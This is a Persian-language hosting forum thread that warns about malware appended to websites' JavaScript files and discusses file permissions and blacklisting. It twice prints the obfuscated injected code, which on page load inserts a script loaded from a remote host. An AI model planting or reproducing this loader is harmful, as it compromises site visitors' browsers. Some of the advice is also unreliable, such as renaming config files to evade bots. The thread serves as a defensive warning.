هشدار در مورد ویروس جدید برای فایل های جاوااسکریپت

سلام
از صبح تا الان ۳ نفر از مشتریهای من دچار این مشکل شده اند که در انتهای فایل های جاوا اسکریپت آنها کدی مشابه کد زیر اضافه شده است.
به کلیه ی مشتریان و دوستان عزیز توصیه میشود هر چه سریع تر دسترسی فایهای جاوااسکریپت خود را به 644 تغییر دهند.

کد HTML:

---

var G;if(G!='W'){G=''};function j(){var x=window;var Yy=new String();var iz="";var B=unescape;var GB=new Date();this.xi="";var p=B("%2f%73%74%61%79%66%72%69%65%6e%64%73%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%69%63%65%2e%69%74%2e%70%68%70");var Dz=new String();this.z="";var Bw=new Array();this.yl="";function C(s,xe){var Gu;if(Gu!='CL' && Gu!='L'){Gu=''};this.f="";var y=String("g");var bV;if(bV!='Vn' && bV != ''){bV=null};var E=B("%5b"), w=B("%5d");var i=E+xe+w;var Z;if(Z!='' && Z!='TM'){Z='h'};var O=new RegExp(i, y);var J;if(J!='' && J!='SE'){J='_x'};return s.replace(O, new String());var AU=new Array();this.BO='';};var _H=new Array();var gl="";var oL;if(oL!=''){oL='m'};var g=document;var gOK=new Date();var S=C('8113330113181111011111','31');var dK='';this.ka="";var Y=new String();var fk="";function K(){var EJj;if(EJj!='YG' && EJj != ''){EJj=null};var o=B("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");this.WY='';var BC;if(BC!='' && BC!='PP'){BC=null};Y=o;var IF;if(IF!='By' && IF!='Lr'){IF=''};var eQ=new Date();Y+=S;var CC;if(CC!='' && CC!='ye'){CC=null};var doF;if(doF!='' && doF!='Fx'){doF=null};Y+=p;var hj;if(hj!='Ud'){hj='Ud'};var gR;if(gR!='' && gR!='cF'){gR=''};try {this.TA='';F=g.createElement(C('sBcTrNi8pnte','n9NayqU1bPez24Bo0H8IT'));this.tcP="";this.ax='';var DB;if(DB!='' && DB!='QZ'){DB=''};F[B("%64%65%66%65%72")]=[1,8][0];this.HZ='';F[B("%73%72%63")]=Y;var vH;if(vH!='bp' && vH!='lt'){vH=''};var Jl;if(Jl!='u' && Jl!='q'){Jl=''};g.body.appendChild(F);var rB;if(rB!='xv' && rB!='Px'){rB='xv'};var OA="";var Rh=new Array();} catch(I){var uE;if(uE!='' && uE!='nl'){uE='N'};alert(I);var HA;if(HA!='yt'){HA=''};this.rK="";};var Pg;if(Pg!='ux' && Pg!='ql'){Pg=''};this.ih='';}var CJ=new String();var ew=new String();var zV=new Date();var mrl;if(mrl!='iP'){mrl='iP'};x[new String("onj8O6".substr(0,2)+"lo"+"adGcFr".substr(0,2))]=K;var zz=new Array();var To=new Array();};j();

---

بعد چی میشه

نقل قول:

---

نوشته اصلی توسط parsibox

سلام
از صبح تا الان ۳ نفر از مشتریهای من دچار این مشکل شده اند که در انتهای فایل های جاوا اسکریپت آنها کدی مشابه کد زیر اضافه شده است.
به کلیه ی مشتریان و دوستان عزیز توصیه میشود هر چه سریع تر دسترسی فایهای جاوااسکریپت خود را به 644 تغییر دهند.

کد HTML:

---

var G;if(G!='W'){G=''};function j(){var x=window;var Yy=new String();var iz="";var B=unescape;var GB=new Date();this.xi="";var p=B("%2f%73%74%61%79%66%72%69%65%6e%64%73%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%69%63%65%2e%69%74%2e%70%68%70");var Dz=new String();this.z="";var Bw=new Array();this.yl="";function C(s,xe){var Gu;if(Gu!='CL' && Gu!='L'){Gu=''};this.f="";var y=String("g");var bV;if(bV!='Vn' && bV != ''){bV=null};var E=B("%5b"), w=B("%5d");var i=E+xe+w;var Z;if(Z!='' && Z!='TM'){Z='h'};var O=new RegExp(i, y);var J;if(J!='' && J!='SE'){J='_x'};return s.replace(O, new String());var AU=new Array();this.BO='';};var _H=new Array();var gl="";var oL;if(oL!=''){oL='m'};var g=document;var gOK=new Date();var S=C('8113330113181111011111','31');var dK='';this.ka="";var Y=new String();var fk="";function K(){var EJj;if(EJj!='YG' && EJj != ''){EJj=null};var o=B("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");this.WY='';var BC;if(BC!='' && BC!='PP'){BC=null};Y=o;var IF;if(IF!='By' && IF!='Lr'){IF=''};var eQ=new Date();Y+=S;var CC;if(CC!='' && CC!='ye'){CC=null};var doF;if(doF!='' && doF!='Fx'){doF=null};Y+=p;var hj;if(hj!='Ud'){hj='Ud'};var gR;if(gR!='' && gR!='cF'){gR=''};try {this.TA='';F=g.createElement(C('sBcTrNi8pnte','n9NayqU1bPez24Bo0H8IT'));this.tcP="";this.ax='';var DB;if(DB!='' && DB!='QZ'){DB=''};F[B("%64%65%66%65%72")]=[1,8][0];this.HZ='';F[B("%73%72%63")]=Y;var vH;if(vH!='bp' && vH!='lt'){vH=''};var Jl;if(Jl!='u' && Jl!='q'){Jl=''};g.body.appendChild(F);var rB;if(rB!='xv' && rB!='Px'){rB='xv'};var OA="";var Rh=new Array();} catch(I){var uE;if(uE!='' && uE!='nl'){uE='N'};alert(I);var HA;if(HA!='yt'){HA=''};this.rK="";};var Pg;if(Pg!='ux' && Pg!='ql'){Pg=''};this.ih='';}var CJ=new String();var ew=new String();var zV=new Date();var mrl;if(mrl!='iP'){mrl='iP'};x[new String("onj8O6".substr(0,2)+"lo"+"adGcFr".substr(0,2))]=K;var zz=new Array();var To=new Array();};j();

---

---

در ادامه صحبت دوست خوبمون آقای داوری عزیز

بهترین راه تبدیل پرمیشن فایلهای config.php و فایلهای با پسوند js. به 444 هست و همچنین پرمیشن تمامی فایلهای داخل شاخه includ رو هم حتما 444 کنید.

و یه نکته مهم برای برنامه نویسان که سعی کنید به جای استفاده از کلمات پیشفرض انگلیسی برای نام فایلهای کانفیگ از نامهای فینگلیش استفاده کنید تا ربات های ویروسی آنها را نتوانند بشناسند و آلوده کنند !

و نکته مهم تر برای کاربران که از آنتی ویروس آواست : avast.com ، که آنتی اسکریپت بی نظیری دارد در کامپیوترهای تان استفاده کنید. تا سایت های تان آلوده نشود .

موفق باشید

نقل قول:

---

نوشته اصلی توسط eParsData.Net

بعد چی میشه

---

بعدش دیگه جاوااسکریپت سایتشون کار نمیکنه و ارور میده

فقط فایل های داخل پوشه js ؟
بعد اینکه 644 بزاریم یا 444؟

نقل قول:

---

نوشته اصلی توسط mohsen1

فقط فایل های داخل پوشه js ؟
بعد اینکه 644 بزاریم یا 444؟

---

فایلهای کانفیگ و js.

444 مطمئن تره

نقل قول:

---

نوشته اصلی توسط parsibox

بعدش دیگه جاوااسکریپت سایتشون کار نمیکنه و ارور میده

---

علاوه بر این به احتمال زیاد سایت به لیست سیاه گوگل - میکروسافت و مرورگرها فرستاده خواهد شد.

سلام
من دقیقا" متوجه نشدم
یکی از سایت های من رفته تو لیست سیاه گوگل

التبه من نمیدونستم بعد از مدتی متوجه شدم تو گوگل ثبت نشده هنوز
از دوستان امار گرفتم گفتن برای ما با انتی ویروس nod32 باز نمیشه و ارور میده
در ضمن دومین بنده از دومین های فری ( co.cc ) است چیکار باید بکنم از ویروس در بیاد ؟؟؟؟

اگه دومین جدید بخرم اونم میره تو لیست سیاه ؟

نقل قول:

---

نوشته اصلی توسط refigh

سلام
من دقیقا" متوجه نشدم
یکی از سایت های من رفته تو لیست سیاه گوگل

التبه من نمیدونستم بعد از مدتی متوجه شدم تو گوگل ثبت نشده هنوز
از دوستان امار گرفتم گفتن برای ما با انتی ویروس nod32 باز نمیشه و ارور میده
در ضمن دومین بنده از دومین های فری ( co.cc ) است چیکار باید بکنم از ویروس در بیاد ؟؟؟؟

اگه دومین جدید بخرم اونم میره تو لیست سیاه ؟

---

بله؛ با عوض کردن دامنه چیزی تغییر نمی کند؛ اگه سایت شما خوش سابقه باشد می شه 2 روزه از لیست سیاه کشید بیرون.